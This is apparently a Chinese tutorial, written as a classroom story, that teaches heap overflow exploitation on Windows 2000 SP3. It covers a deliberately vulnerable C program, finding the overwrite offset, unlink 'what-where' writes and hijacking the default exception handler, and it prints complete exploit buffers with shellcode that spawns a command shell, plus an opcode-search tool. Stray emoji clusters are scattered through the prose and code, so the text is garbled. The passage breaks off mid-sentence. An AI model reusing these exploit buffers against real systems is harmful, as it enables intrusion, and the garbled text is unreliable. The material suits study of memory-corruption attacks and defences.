Windows下堆溢出利用编程 |
周末很快就过去了,宇强正准备去上课,突然收到了条手机短信。宇强打开一看,哇!居然是小倩。
“我买手机了,这是我的手机号一吴小倩。” 她回家果然买了个手机。宇强想了想,赶忙回复短信信,“现在去上课吗?我们一起去吧!在报亭见怎样?” 发完后,宇强怀着不安的心情等待着,并对自己的唐突行为有点自责! 🤙🚘✡🐺 过了一会,小倩回短信了,“好吧! 一会见。” 宇强不安的心终于平稳了下来,好高兴啊! 👨🚒👠📟😂🤞 从报刊亭去教室的路上,宇强一直给小倩讨论着喜欢的足球,世界杯上马拉多纳的长途奔袭、齐达内的两次抢点。让宇强吃惊的时,小倩居然除了贝克汉姆外,还知道劳尔。 堆 溢 出 初 探 走进教室时,老师已经到了。两人急忙找空位置坐下。 🧑🍳🛍🧻👻👏 “这周末大家过得还不错吧? ”老师问道。 “好! ”大家齐声回答。 “大家发过来的作业(反连后门的ShellCode)我都看过了,做的都很认真。学习就是要有这样的精神!” 老师满意的说道。 🙌🚗🔪🆒🦌 “你帮我发给老师了吗?”小倩小声的问旁边的宇强。 “嗯,放心吧!发了。”宇强说。 老师在台上继续说道:“现在大家用的提取ShellCode的方法,都是先写出汇编,然后再一句句的对应着抄下来。虽然麻烦,但可使大家多次熟悉程序的流程,对大家掌握基础是大有好处的。” 🤳💈🍌♑🦦 老师歇了下说道:“当然,也有些轻松提取ShellCode的方法,等大家知识进一步巩固后,我再教给大家!” “哦,那今天讲什么呢? ”古风急着问道。 “Windows下的溢出有很多种,比如格式化溢出、整数溢出、堆栈溢出和堆溢出等。而现实中最常利用的是堆栈溢出和堆溢出。所以学习缓冲区溢出,除了堆栈溢出外,还得学习堆溢出! ” “哦!那今天是学习堆溢出?”🥷💄📮🤖🤙 “是的。” “堆?是什么呀?感觉《数据结构》里面也有堆这种概念。”宇强联想到了另一门课。 “不错!但这里的堆不是《数据结构》里说的堆;《数据结构》里的堆是种抽象结构,要求父结点比子结点的值都大(或小);而这里我们说的堆,是Windows系统中的一种物理结构,用来动态分配和释放对象, 用在事先不知道程序所需对象的数量和大小的情况下,或对象太大而不适合堆栈分配程序的时候。英文就 是heap。”老师说。 💅🌧🍌☪🦟 “堆栈溢出和堆溢出,只相差一个字,但内容却完全不同。”老师说道,“堆栈,在可执行程序的text 区,是从高地址向低地址扩展,是存放局部变量的地方,在编译时由编译器静态分配。” “而堆,是在可执行程序的heap区,从低地址向高地址扩展,是存放由malloc等函数动态分配数据的地 方。其结构关系在内存中的映射如下图。当然,还有其他的data区等。” 👈🧊🚷🐙 👁🗺🌰🈴🐅 “堆栈溢出,我们已经详细分析利用过了。而堆溢出,就是给分配的堆拷字符串时超过了所分配的大小,从而造成的溢出。我们也可利用堆的溢出来实现我们想要的功能。”“在Windows下,用户要求分配堆时,可以通过一系列函数来完成。可以使用Win32的堆调用API函数,或者C/C++运行期库的函数等。” 🤛🚂🍚🈳🦉 小知识: 和“堆”有关的几个API函数 HeapAlloc在堆中申请内存空间 HeapCreate创建一个新的堆对象 HeapDestroy销毁一个堆对象👨🦱👔🪗😷👏 HeapFree释放申请的内存 HeapWalk枚举堆对象的所有内存块 GetProcessHeap取得进程的默认堆对象 GetProcessHeaps取得进程所有的堆对象 🧓👙📠🤖👁 “以上都是用户态的函数,最终都要调用ntdll里面的Rtl相关核心函数。比如,堆分配函数的关系如下图。所以,我们只用考虑RtlAllocateHeap的就行了。” “最好的学习方法是类比或对比。如果之前对新知识的相关背景有所了解,那学习起来会很快上手,而且很多思想和方法都可借鉴以前的东西。”老师问道,“大家觉得该和什么知识对比呢?” 🧑⚕️👔💊😳👆 “当然是和堆栈溢出相对比罗! ”玉波没好气的说,“其他的溢出还不知道呢!” RtlAllcoateHeap 的 失 误 “呵呵,对! ”老师说道,“我们和Windows下的堆栈溢出相对比。我们先复习一下堆栈溢出利用的三大 步骤。” 👏🚗🔪➡🐺 1.返回点的定位。利用报错精确定位溢出返回点。 2.ShellCode的编写。我们可以自己写,也可以拿现成的用;比较科学的方法是稍微修改一下外面的代码, 完成我们想要的功能。 3.跳转到ShellCode。把函数返回点覆盖成JMP ESP的地址,或者把异常处理点覆盖成CALL EBX或者pop pop ret的地址。 “其示意图如下图 🤞🪐🍏💲🐕 也可以是这样子。“ 👁🚤🍭🚭 “这三点大家都还记得吧?”老师问。 “嗯,当然!” “好,我们就从这三点出发,看看堆溢出的原理和利用吧! 👍⛵🥚®🐶 有 问 题 的 例 子 “我们看一个简单的有堆溢出问题的程序heapvul1.c [mw_shl_code=c,true]#include <windows.h>🥷👠🛏😡👀 #include <stdio.h> #include <stdlib.h> char mybuf[] = "ww0830"; int main (int argc, char *argv[]) { 🥷🩴🛋😤👃 HANDLE hHeap; char *buf1, *buf2; //我们自己建立一个HEAP hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS, 0x10000, 0xfffff); printf("mybuf addr = %p\n",mybuf);🧒🩴🛏🤬✌ //动态分配buf1 buf1 = HeapAlloc(hHeap, 0, 200); strcpy(buf1,mybuf); printf("buf1 = %s\n",buf1); //动态分配buf2 🤙🚗🥭🈳🦕buf2 = HeapAlloc(hHeap, 0, 16); HeapFree(hHeap, 0, buf1); HeapFree(hHeap, 0, buf2); return 0; }[/mw_shl_code] 👁🚘🦀🈸🦠 “我给大家大致解释一下:” “hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS, 0x10000,0xfffff);,,是建立一个堆,以免破坏进程 默认HEAP; 👴🧢🪥🤐🧠 “bufl = HeapAlloc(hHeap, 0, 200);” 是动态分配 200 字节的 bufl; “strcpy(buf1,mybuf); ” 是把 mybuf 数组的内容拷贝给 bufl; “buf2 = HeapAlloc(hHeap, 0, 16);” 表示接着分配 buf2;🧑🍳🎒📏🥰👎 “HeapFree(hHeap, 0, bufl); HeapFree(hHeap, 0, buf2);” 表示最后把 bufl 和 buf2 释放掉后就退出。 “我们执行一下试试,使用VC的RELEASE方式编译,并在命令行下运行,程序就会打印出mybuf地址和 bufl内容,然后退出。” 👊🚗🧊‼🐮 小知识: 在VC下可以生成DEBUG版本和RELEASE版本程序。DEBUG版被称为调试版,RELEASE版被称为发布版。DEBUG 版程序中,会有一些用于调试的信息,所以会比RELEASE版程序大很多;而且有一些内部处理和分配过程, 比如堆的分配,两者也不同。 “DEBUG版的程序与实际运行程序的内存结构是不同的,所以刚才那个程序要用VC按照RELEASE方式编译, 并在命令行下运行它,不要在MSDEV中调试运行。” 👦🧣🪗🤤👌 “在VC下生成RELEASE版的方法是:选择菜单栏‘编译’一‘放置可远程配置’,然后在弹出的‘活动工程配置’中选择‘Win32 RELEASE’,这样,生成的程序就会在Release目录下,并且是发布版本。” “也可以在工具栏的‘Select Active Configurature’框中直接选择生成Release版,如下图。” “在mybuf数组很小的时候,程序没有任何问题,我们稍微改变下程序,只是加长mybuf的长度,变为240 个A。” 🏠🥚🈳 “我们重新生成RELEASE版的程序,在命令行下运行它。效果如下图。” “哦!出现报错对话框了! ”大家说道! “内容为〃0x77fcb3f5〃指令引用的"0x41414141〃内存。该内存不能为"written"。‘0x41’就是大写字母 A的16进制码。”🧑🎤🩰🔒😥🤛 “不过这里报的是‘written’错误啊!莫非和Foxmail—样,覆盖的字符串太长了? ”古风疑惑的问道。 “不,堆溢出要的就是这样的效果。”老师说道,“我们下面借鉴一下堆栈溢出编程的三个步骤!” 堆 溢 出 点 的 定 位 👨🚒👖🛒💩👃“第一步、溢出点的定位。因为这里会出现报错对话框,所以我们可利用它很准确的得到溢出点的位置。 如果记不清楚,请复习一下以前的内容,这里大概过一遍。” “首先改变程序,把mybuf数组填充的方法改变一下,改变的程序为heapvul3.c。我们把 mybuf数组的填充方法替换为:” [mw_shl_code=c,true]for(i=0; i<240; i++)🥷🧣📮😫👊 { mybuf = 100 + i % 10; }[/mw_shl_code] “重新生成程序并在命令行下执行,这次报错框成了 〃0x77fcb3f5〃指令引用的"0x69686766〃内容,该内存不能为"written",如下图。” 👁⛪🌰📶🐂 “我们记下这个数字,看来是‘0x69686766’覆盖到了溢出点。我们把mybuf = 100 + i % 10的取余数改为整除,得到程序heapvul4.c 。” [mw_shl_code=c,true]for(i=0; i<240; i++) 🤌💈🥑🅾🐴{ mybuf = 100 + i / 10; }[/mw_shl_code] “执行heapvul4,这次出现的错误框成了 "0x77fcb3f5"指令引用的"0x79797979"内容,该内存不能为 "written",如下图。” 🧠🚐🍟🔞🦟 “我们分析一下这两个过程。第一次是把mybuf数组不停的加上100〜109,即十六进制0x64〜0x6D的循 环;第二次则是以10为一段长度,每段分别以0x64、0x65……来填充mybuf。” “第一次溢出时,报错值是0x66,此时数组中只有0x64〜0x6D不断循环,所以我们可以推出尾数是0x66-0x64 = 2。 ” ✋🗼🔪➡🐕 “第二次溢出时,报错的全部是0x79,而此时是从0x64开始,每10个数为一段。0x79-0x64 = 0x15 (十 进制的21),即在字符串的第21个段。” “我们可以计算出出错点的位置了,如下:” (0x79-0x64) X10+ (0x66-0x64) =21X10 + 2 = 212 “大家验证一下,指定mybuf第212开始的四个字节是‘BBBB’,其余全部为‘A’。如果我们的计算正确, 那么应该是0x42 (B的十六进制)覆盖到溢出点。” 🧑🎤🧹😭🤞 [mw_shl_code=c,true]for(i=0; i<240; i++) { mybuf = 'A'; } 🤝🔥🍭ℹ🐞 mybuf[212] = 'B';mybuf[213] = 'B'; mybuf[214] = 'B'; mybuf[215] = 'B';[/mw_shl_code] 👄🚘🥄♂🦬 “好,这样修改后,执行该程序,大家看! “哇!果然弹出的对话框成了 〃0x77fcc39e〃指令引用的"0x42424242〃内容,该内存不能为written。我 们的计算非常正确哦! ”大家说。 🩳🎷😶👁 “我们分配的buf1是200个字节,溢出点却是第212个字节,看起来有点奇怪吧! ”老师说。 “是啊,怎么会是这个数字呢? ”大家都很奇怪。 “不要紧,分析之后就清楚了。我们还是先按步骤继续吧!” 🧑⚕️👗⚒😂🙏 ShellCode 的 特 殊 要 求 “第二步、ShellCode的编写。我们已经详细解释过了,但堆溢出的ShellCode有特殊的要求。 (1) 如果溢出的是默认堆,则不能使用网络相关的函数,比如开端口、反连等ShellCode都不能使用; (2) 可以想办法在ShellCode中恢复默认堆,然后再使用网络相关ShellCode,但有时恢复堆后仍不能用网络编程的函数; ✍🚗🫑🚷🐺 (3) 新建一个堆,不用默认堆; (4) 干脆就不用网络相关的ShellCode,只用添加用户一类的ShellCode。” “可以看出,堆利用比较麻烦,在ShellCode中恢复堆这类高级技巧会在ShellCode高级编程中提到。这里就用最简单的手段一打开DOS窗口。” 🖐🗼🍖☪🦄 “倒……”台下全晕了,“又开DOS窗口啊!” “这里只是为了说明方法,以后用复杂可行的ShellCode替换就行了。” 跳 转 到 ShellCode 💪🚘🍭↔🐤 “第三步,跳转到ShellCode。” “这里是关键!和堆栈一样,涉及到系统内部的处理机制了。” “ bufl = HeapAlloc(hHeap, 0, 200),程序动态分配200字节的bufl,堆结构如下图。 “先是8字节‘buf1’的管理结构,该结构对用户是不可见的;然后是系统返回给我们能实际操作的200 字节的空间,‘buf1’就是从这儿开始的;接着是8字节的下一空闲堆的管理结构;最后是两个双链表指针,各4个字节共8个字节。” 老师歇了一口气,说:“最后的两个双链表指针才是真正的关键。我们用超长字符串覆盖‘buf1’的时候, 其溢出后的结构如下图。” 🖕⛵🍼🔞🐅 特别的,当用其他字符为A、第212字节为B覆盖时,其结构如下图。 “200+8+4=212,这就是我们计算得到溢出点为212字节的原因。我们把结构最后的双链表指针覆盖了,那 系统要使用它们时当然会不正确,会出错一一这就是要出现报错对话框的原因。” 🧑🍳🪖📟😷🤛 “哦! 212的位置是这样得到的啊! ”大家恍然大悟。 “报的是write错误,莫非是要往后一个地址写东西? ”宇强不解地说。 “对!当程序分配‘buf2’的时候,就要使用那两个双链表指针了,且eax为前一指针的值,而ecx为后 一指针的值,并作如下操作:mov?[ecx],eax; mov [eax+4],ecx,该操作的目的是在分配内存时改变链表的指向。” 🧠🌞🦞♑🦦 “对刚才的程序来讲,在我们在最后一次覆盖时,其结构和指针被覆盖为下图的的样子。” “当系统重新分配‘buf2’,执行到mov?[ecx],eax时,就等于执行mov [BBBB],AAAA。即 mov[0x42424242],0x41414141,就是把 0x41414141 写入到 0x42424242 地址的内存中,而地址 0x42424242 一般是不能写的,所以就会报0x42424242不能写的错误。” 🧑🌾🥾🎺😀🖕 “哦!原来是这样。” “出错时程序就会终止,如果还要执行下一操作mov [eax+4],ecx,就等于mov [AAAA+4],BBBB,即mov [0x41414145],0x42424242 了,就是把0x42424242写入到0x41414145的地址中,通常也是会出错的。” “把这个过程抽象出来,系统中有what—where的操作,而我们可以把what和where覆盖成任意的值。当 where像上面一样是个随意的值时,会出现写错误。那我们怎样精心构造where和what,使系统能跳转到 我们想要的地方 ShellCode呢?” 老师端起杯子,悠闲的说:“大家先自己想想,讨论一下各自的想法,就我一人讲,可能大家都会听困的。”👨🦱🏮😆✋ “就是有what—where的操作,what和where该改写成什么呢? ”老师再提示道。 古风想了想,说:“可以像堆栈溢出利用一样,覆盖函数的返回点。因为有what—where的操作可把what 的值构造成ShellCode的地址,把where的值构造成某个函数返回点的地址,这样执行what—where时, 就可以用ShellCode的地址覆盖函数返回点的值,函数返回的时候我们的ShellCode就可以执行了。如下图。” 🧒👒🪟😭💅 老师说:“不错,是个很好的方法,还有想法吗?” 宇强灵机一动,悄声的对小倩说:“既然可以覆盖函数的返回点,那好像也可以覆盖函数入口点的地方哦?” 小倩想了想:“嗯,是啊,应该可以!” 🥷🪖🏮😍💅 于是宇强大声说道:“我们也可以把ecx的值构造成某个函数入口点的地址,这样,执行那个函数时,就 执行我们的ShellCode 了。当系统后面要调用那个函数时,其实就执行了我们的ShellCode。如下图。” 老师非常满意的说:“Very Good!堆溢出向来以通用性困难著称。各个能利用的漏洞都有独特的利用方法, 上述两种方法都曾在实际中使用过。” 🙏🌦🦞🅱🦚 “在这里我再介绍一种比较基础的方法,覆盖默认异常处理的地址。” 覆盖默认异常处理 “在堆栈溢出中已经讲过,SEH (Windows的结构化异常处理)是一种程序异常的处理机制,在Windows系统中,是按照链式层状结构组织的,如下图。” 🧑💻🤖🤝 “发生异常时,操作系统就会查找异常处理链表,找对应这种异常的处理程序;找到了对应的处理程序后, 就去执行处理程序,以避免系统崩溃。” “嗯,的确讲过。”大家都点点头。 “具体的说,其异常处理过程是:先找到fs:[0]中所包含的地址,这个地址存着上一层异常链指针,而在这个地址+4的地方存放着处理函数的地址,操作系统就自动跳到这个地址去执行异常处理函数。当这个函数无法对异常进行处理时,再根据上一层的异常链指针找到上一层的异常处理指针来处理。” 🙏🦼🍇❎🦦 “上次堆栈溢出的时候,我们覆盖的是fs:[0],这里堆溢出也可以这样吗? ”宇强插话问道。 “非常好!的确可以!覆盖的形式是这样的,如下图。” 🧓💍✏😭💅 “但是,”老师话锋一转,“这里的where需要是一个确切的地址值,fs:[0]对于单线程是比较固定的, 但对于多线程却是不定的。” “大家回想一下,我们在堆栈溢出中覆盖fs:[0]时,用的都是相对地址,从来没有使用过绝对地址。堆栈溢出中,覆盖SEH和跳转到ShellCode的示意图如下图。” b[〇]和如指向处理程mm👳💎📟😭👏 “我们把第一个异常处理程序地址覆盖成CALL EBX的地址。当异常发生时,就执行该地址内容——CALL EBX,而EBX正好在前面4个字节,我们把它改为JMP 04就可跳入ShellCode中了。”老师又解释了一遍。 “哦!我们当时只是知道fs:[0]离缓冲区有多远,要多少个无用字符填充才能到达,但的确不知道当时的 fs:[0]究竟是多少啊! ”大家说道。 🤙⛄🍏🆗🐮 “对!这里需要的是确切地址!用fs:[0]有时可以,有时就不行。”老师说。 “那怎么办呢?即使每次运行同一个程序,fs:[0]好像都要变啊! ”同学们又疑惑了。 “呵呵,fs:[0]地址会变,但系统的默认异常处理函数却不会变!我们就使用它。”老师说道。 👦👚🎺🥲✍ 小知识:默认异常处理 当链表中所有的异常处理函数都无法处理异常时,系统就会使用默认异常处理指针来处理异常情况。 默认异常处理指针通过如下函数来设置: 👂🌦🍼🔞🐂 SetUnhandledExceptionFilter(??LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter) 默认异常处理指针通过如下函数来调用: LONG UnhandledExceptionFilter(STRUCT _EXCEPTION_POINTERS *ExceptionInfo); 👎⛵🧊➡🦉 它负责显示一个错误对话框,来指出出错的原因,这就是我们一般的程序出错时显示错误对话框的原因。 “我们一起来看看吧! ”老师说道,“用IDA打开kernel32分析,在Functions中选中 ‘ SetUnhandledExceptionFilter ’就会跳到如下图的代码。意思是把异常处理程序地址放入 0x77EB63B4中,即Win2000 SP3默认异常的处理指针是0x77EC044c。” 👨🎨🩴✏🥱🤛 “当有不能处理的异常发生时,系统调用UnhandledExceptionFilter函数,它其实就是call [0x77EC044c],即执行0x77EC044c指向的异常处理程序,那我们可以……” “哦!我们可以把where赋成0x77EC044c! ” “对!我们把where覆盖成0x77EC044c,what覆盖成ShellCode的地址,如下图。” ✊🗺🎂®🐺 “那执行了 mov[ecx],eax后,0x77EC044c里就是我们ShellCode的地址。当发生异常时,系统会执行call [0x77EC044c],当然就跳到我们的ShellCode中了。” “Yeah!可以跳转了!”全班同学都很高兴。 👃⛪🍪🆒🦌 “注意,这里有个小问题,mov[ecx],eax后,跟着还有一句mov [eax + 4],ecx,这样不但把shellcode 地址写进默认异常处理地址中,也会把默认异常处理地址写进[shellcode地址+4]的内存单元当中,把 Shellcode中的指令破坏了。” “就是啊……” “要解决这个问题,我们可以用JMP 6这样的指令来代替nop,这样就能跳过后面被破坏的字节。” 👍🍧🚭🦜 “现在回到我们的程序中,把它合起来吧! ”老师说道,“先是208字节覆盖掉‘bufl’的空间和空堆的管理结构;然后是4字节ShellCode的地址,最后是4字节异常处理地址。如下图。” “但这里的ShellCode的地址是多少呢? ”宇强问道。 “问得好! ”老师说,“我们先把ShellCode保存在‘mybuf里面,所以直接把‘mybuf的地址读出来填入即可。” 👂🎢🧊⁉🕊 “哎哟!‘mybuf是数组,那地址还是会变,还是不通用啊! ”大家觉得很奇怪。 “嗯,这样做的确不通用,后面我们会改进的,这里先试试效果! ”老师说道,“构造出来的‘mybuf’是 这样的:” 🖐🚐🥄♻🐢 char mybuf[240] ="\xeb\x06" "\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06" "\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06" "\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06"🧑🌾👙⚒😘💪 "\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06" "\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06" "\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06" "\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06" "\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06" 🤟🚈🍊🅿🐮 "\xeb\x06\xeb\x06\xeb\x06\xeb\x06\xeb\x06""\x90\x90\x90\x90\x90\x90\x90\x90\x90" //Jmp 06和NOPS 共101 bytes //下面是开DOS窗口的ShellCode,有107字节 "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53" "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"👴🥼⚔😷✌ "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" "\x64\x9f\xE6\x77" //SP3 loadlibrary地址0x77e69f64 "\x52\x8D\x45\xF4\x50" "\xFF\x55\xF0" "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"🧓👔🪜💩✊ "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" "\x50\xB8" "\xc3\xaf\x01\x78" //sp3 system地址0x7801afc3 "\xFF\xD0" //上面一共208字节, 接下来就是ShellCode地址和顶层异常处理地址👩👙🎷😘👁 "\x40\x60\x40\xFF\x4c\x04\xec\x77" “运行报错,如下图。可以看到‘mybuf的地址是0x00422A40,所以我们要把ShellCode的地址(即 What的位置)赋成它。” “注意啊! ‘mybuf’的地址是有00的,strcpy拷贝字符串时就会被截断。所以我们先赋成ff,在main 里面拷贝完成后,再把改回00 。编译并执行,弹出了一 个DOS对话框,如下图。” “哦!成功了!” “虽然这个exp很简陋,但也是实际可用的雏形。我们继续讨论,改进利用方式!” 👩✈️👜📏😉👀 小知识:0x00和截断问题 关于ShellCode中含有0x00,并不是赋值时被截断,赋的值都会在内存里面。比如字符串0x0102000304, 都会存进去;但在C语言中,字符串结束的标志是0x00,所以像使用strcpy函数时,就只拷贝到0x010200 就结束,不会拷贝后面的0304;而改成memcpy直接拷贝内存字符串长度,就不会被00截断,网络传输时, 像send函数也是发送指定长度的字符串,不会被00截断。 定 位 的 改 进——call [esi+0x4c] 💅🌕🥣♑🪰 老师小结了一下:“默认异常处理地址在Win2000 SP3下是0x77ec044c。但在不同系统、不同SP下,其 值是不一样的。我们可像刚才一样,用IDA反汇编kernel32.dll分析,但很麻烦;也可用isno写的 GetTopSeh.c来获得默认异常处理地址,程序如下,我加上了一些注释。” [mw_shl_code=c,true]#include <stdio.h> #include <windows.h> void main() 🧑🎤🧢🪦😊🖐 { unsigned int sehaddr; int *un; HMODULE hk = LoadLibrary("KERNEL32.dll"); un = (int *)GetProcAddress(hk,"SetUnhandledExceptionFilter");🧑🍳🧣💉💀🤝 //找到SetUnhandledExceptionFilter函数的地址 _asm{ mov eax,un add eax,5 mov ebx,[eax]? ✋🚠🥩🚭🐋 mov sehaddr,ebx //函数开始的第5个字节就是默认异常处理地址。} printf("the top seh: 0x%x\r\n",sehaddr); //将默认异常处理地址打印出来 _getch(); return;🧑🎤💍💰🥰🤳 }[/mw_shl_code] “对比IDA里面的代码,应该很容易理解,程序是读出SetUnhandledExceptionFilter函数开始后第5个 字节的内容,即异常处理指针的存放位置,然后打印出来。执行效果如下图,在我的Win2000 SP3机 器上,默认异常处理地址是0x77ec044c。” “有了这个方便多了!”大家说道,“我们可把所有系统的默认异常处理地址都读出来,然后存储起来供以后使用。” “但是……”古风问道:“where是可以正确确定了,但what呢?还是不能确定啊!” “对!刚才ShellCode的地址是在主程序里直接读出来的,虽然我们可用NOP暴力扩大ShellCode的范围, 但通用性始终不好。我们将它改进一下吧! ”老师说道。 👨🦱🦺📬😘🙏 “怎么改进呢?有什么东西指向堆的数据吗?”古颇感兴趣。 “呵呵,Windows 2000作顶层异常处理时,esi+0x4C正好指向下一个堆管理结构,如下图。大家想想, 怎么做可以改进定位呢?” 大家个个眉头紧蹙。 “哦!”宇强一下叫了出来,“我们把what覆盖成call [esi + 0x4c]的地址。这样异常发生时,系统 就会执行call [esi + 0x4c],从而到达下一个空闲堆的管理结构中。在那里,我们放上JMP 0F指令, 就可跳过后面的what和where,最后到达ShellCode。” “呵呵,很好,上来画一下示意图吧!”老师鼓励道。 🧒👚🪜😡🤝 宇强走上讲台,拿起粉笔,画出了下图所示的利用思路。 “首先覆盖what为call [esi + 0x4c]的地址,where为默认异常处理的地址0x77EC044C,”宇强边画边解释,“这样wha—where操作时,0x77EC044C就会被覆盖成call [esi + 0x4c]的地址;如果发生顶层异常处理,就会跳到call [esi+0x4c]指令的地方;一执行call [esi+0x4c]就到了我们能操控数据的位置。” 🧑🎤🥼✏😳✍ “嗯!就是这样! ”大家都很赞同宇强的的说法。 “但有个地方还不明白,什么时候会发生默认异常处理呢? ”宇强从台上下来时问。 🔥🌶🅿🐉 “很好! ”老师说道,“大家都要向宇强学习啊!要敢于表达自己的思想,也要敢于提出自己的问题!只有经过思考,大家的思维才能得到锻炼和提高。” “而发生异常处理的时间,是what—where后,有一个where—what+4的操作,如果保证what+4的地址不可写,那就可以引发顶层异常处理了。” “哦,这下思路清楚了。”古风一下子明白了。 👂🎢🍚🅾🐤 “我们赶紧合起来利用吧!”同学们都迫不及待。 “但是,”老师提醒道,“大家发现没有,call [esi+0x4C]的地址是多少呢?我们还没有呢!” “对啊! call [esi+0x4C]的地址还没找呢!” “我们可把查找JMP ESP的程序FindJmpEsp.cpp稍微改进一下,让它可以找其他指令。我们先找到call [esi+0x4C]的机器码是什么,然后在各个dll中找这样的机器码。”老师说。👵👠🪦🤩👆 “首先,我们写一个简单的嵌套汇编的程序,如下:” __asm { 🌦🍏🈴🐅 call [esi+0x4C]} “和前几节课的方法一样,我们在VC中按F10调试,再点‘Debug’工具栏中的‘Dissassble’按钮,然后点鼠标右键,在弹出菜单中选中‘code byte’,此时会出现call [esi+0x4C]的机器码了。如下图。” 🦴🌧✡🦄 “这下我们知道了 call [esi+0x4C] 的机器码是FF 56 4C,我们把FindJmpEsp.cpp 改成在dll 中找机器码FF 56 4C的程序(FindCallEsi4C.cpp),如下:” [mw_shl_code=c,true]#include<iostream.h>👩✈️👒🔒👏 #include<windows.h> int main(int argc, char ** argv) { bool we_loaded_it = false; HINSTANCE h;👮♂️💄🔌👎 TCHAR dllname[] = "User32"; //默认查找user32.dll里面的指令 if(argc>1) { strcpy(dllname,argv[1]); } 👎🪐🧊📳🦚h = GetModuleHandle(dllname); if(h == NULL) { h = LoadLibrary(dllname); //加载dll if(h == NULL) 💅🧳🥣♂🦕 {cout<<"ERROR LOADING DLL: "<<dllname<<endl; return 1; } we_loaded_it = true;👨🚒👙🪝☠👏 } BYTE* ptr = (BYTE*)h; bool done = false; for(int y = 0;!done;y++) //在dll中查找FF 56 4c并打印 { 👨⚕️🧣🔌😪🤝 try { if(ptr[y] == 0xFF && ptr[y+1] == 0x56 && ptr[y+2] == 0x4c ) { int pos = (int)ptr + y;🧑💻🥾💉😋✊ cout<<"OPCODE found at 0x"<<hex<<pos<<endl; } } catch(...) { 💅🏫🌶🅰🦮cout<<"END OF "<<dllname<<" MEMORY REACHED"<<endl; done = true; } } if(we_loaded_it) FreeLibrary(h); //释放dll 👌🚈🥚🅰🐮return 0; }[/mw_shl_code] “这个程序如果不带参数,默认在user32.dll中查找机器码;也可将要查找的dll名作为参数运行。在 VC环境下,设置程序的参数步骤如下:先点击‘工程一设置’。” 🦴🌕🍇ℹ🦖 “然后在工程设置对话框中选择‘Debug’栏,在‘程序变量’一栏填写要查找的dll名称,这里我们还是填成user32.dll。” 👦🩴💊😃🤛 “设置好后,编译、运行,我们可以看到,在user32.dll中找到了一个,地址是0x77e2f91f。如下图。” “哦!这下可以得到构造字符串的示意图了。”同学们画下了下图。 🧠🚐🌰♂🐡 “嗯,下面我们就按照这个图构造出数组‘mybuf’,以实现覆盖,如下:”老师说道。 char mybuf[450] = 🤞💈🥚🅿🐟"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"👮♂️👚💾🙂👎 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //上👨⚕️👠🔭💩👏 面先用200字节填充“buf1” "\xeb\x12\x90\x90\x90\x90\x90\x90" //8字节堆管理结构,eb 12跳过what和where "\x1f\xf9\xe2\x77" //覆盖what,call[esi+0x4c]在user32中的地址 "\x4c\x04\xec\x77" //覆盖where,TOP SEH在2000中文SP3的地址 //下面是Win2000 SP3下开DOS窗口的ShellCode,参看第二章 👃🗺🦞♀🦋"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53" "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" "\x64\x9f\xE6\x77" //SP3 loadlibrary地址0x77e69f64 🧑💻🧢🧻😊👏 "\x52\x8D\x45\xF4\x50" "\xFF\x55\xF0" "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" "\x50\xB8" 👊🏝🫑☯🐺"\xc3\xaf\x01\x78" //SP3 system地址0x7801afc3 "\xFF\xD0"; “大家注意,我们找的call [esi+0x4C]的指令地址是在user32.dll里面,所以要先 LoadLibrary(“user32”),以保证加载了 user32.dll动态链接库。编译、执行,还是弹出了一个DOS对话框!如下图。” 💪🛑🥭❎🐻 “也成功了! ”大家都非常高兴。 “好,明白了堆溢出利用的原理,我们来尝试一个真正的漏洞吧! 实 